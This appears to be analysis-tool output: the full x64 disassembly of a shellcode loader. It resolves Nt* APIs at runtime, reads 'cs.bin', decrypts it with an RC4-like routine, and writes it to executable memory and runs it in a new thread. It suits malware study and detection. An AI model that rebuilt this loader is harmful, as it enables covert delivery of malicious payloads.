Function at 0x140001040
Capabilities:
Link many functions at runtime

Disassembly:
push r15
sub rsp, 0xa0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rcx, qword [0x1400058b0]
lea rdx, str.CreateFileW
xor r15d, r15d
mov qword [rsp + 0x68], 0xffffffffffffffff
mov dword [rsp + 0x70], r15d
mov qword [rsp + 0x60], r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1400058b0]
lea rdx, str.GetFileSize
mov qword [0x140005870], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1400058b0]
lea rdx, str.ReadFile
mov qword [0x1400058a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1400058b8]
lea rdx, str.NtAllocateVirtualMemory
mov qword [0x140005898], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1400058b8]
lea rdx, str.NtCreateThreadEx
mov qword [0x140005888], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1400058b8]
lea rdx, str.NtProtectVirtualMemory
mov qword [0x140005878], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1400058b8]
lea rdx, str.NtWriteVirtualMemory
mov qword [0x140005880], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1400058b8]
lea rdx, str.NtWaitForSingleObject
mov qword [0x140005890], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, qword [0x140005870]
mov qword [0x1400058a0], rax
test r10, r10
je 0x140001417
cmp qword [0x140005878], r15
je 0x140001417
cmp qword [0x1400058a8], r15
je 0x140001417
cmp qword [0x140005890], r15
je 0x140001417
cmp qword [0x140005898], r15
je 0x140001417
cmp qword [0x140005888], r15
je 0x140001417
cmp qword [0x140005880], r15
je 0x140001417
test rax, rax
je 0x140001417
mov qword [rsp + 0xb0], rbx
lea rcx, str.cs.bin
mov qword [rsp + 0xb8], rbp
xor r9d, r9d
mov qword [rsp + 0xc0], rsi
xor r8d, r8d
mov qword [rsp + 0x30], r15
mov edx, 0xc0000000
mov qword [rsp + 0x98], rdi
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x90], r14
mov dword [rsp + 0x20], 3
call r10
xor edx, edx
mov rcx, rax
mov rbx, rax
call qword [0x1400058a8]
mov esi, eax
lea edx, [r15 + 1]
mov ecx, eax
mov qword [rsp + 0x78], rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], r15
mov rdx, rax
mov r8d, esi
mov rcx, rbx
mov rdi, rax
call qword [0x140005898]
lea r14, [0x140005770]
mov ecx, r15d
mov rdx, r14
nop dword [rax]
mov byte [rdx], cl
lea rdx, [rdx + 1]
inc ecx
cmp ecx, 0x100
jl 0x140001250
mov edx, r15d
lea r11, [0x140005080]
mov r8d, r15d
mov r9, r14
movzx r10d, byte [r9]
movzx ecx, r8b
movzx eax, byte [rcx + r11]
add edx, eax
add edx, r10d
and edx, 0x800000ff
jge 0x140001294
dec edx
or edx, 0xffffff00
inc edx
movsxd rcx, edx
inc r8d
movzx eax, byte [rcx + r14]
mov byte [r9], al
inc r9
mov byte [rcx + r14], r10b
cmp r8d, 0x100
jl 0x140001270
mov ecx, dword [rsp + 0x70]
mov eax, r15d
mov r9d, r15d
test ecx, ecx
je 0x14000132f
mov r10, rdi
mov ebx, ecx
inc eax
and eax, 0x800000ff
jge 0x1400012d7
dec eax
or eax, 0xffffff00
inc eax
movsxd r11, eax
movzx r8d, byte [r11 + r14]
add r9d, r8d
and r9d, 0x800000ff
jge 0x1400012f8
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rdx, r9d
movzx ecx, byte [rdx + r14]
mov byte [r11 + r14], cl
mov byte [rdx + r14], r8b
dec byte [r10]
movzx ecx, byte [r11 + r14]
movzx r8d, byte [r10]
movzx edx, byte [rdx + r14]
add rdx, rcx
movzx ecx, dl
xor r8b, byte [rcx + r14]
mov byte [r10], r8b
inc r10
sub rbx, 1
jne 0x1400012c5
xor r8d, r8d
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x78]
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x60]
lea rcx, [r8 - 1]
call qword [0x140005888]
mov rdx, qword [rsp + 0x60]
lea rax, [rsp + 0x70]
mov r9d, esi
mov qword [rsp + 0x20], rax
mov r8, rdi
mov rcx, 0xffffffffffffffff
call qword [0x140005890]
lea rax, [rsp + 0x74]
mov r9d, 0x40
mov r8, rsi
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x60]
mov rcx, 0xffffffffffffffff
call qword [0x140005880]
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x50], r15
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x48], r15
xor r8d, r8d
mov qword [rsp + 0x40], r15
mov edx, 0x1fffff
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rax
call qword [0x140005878]
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
mov dl, 1
call qword [0x1400058a0]
mov r14, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x98]
mov rsi, qword [rsp + 0xc0]
mov rbp, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0xb0]
xor eax, eax
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140001450
add rsp, 0xa0
pop r15
ret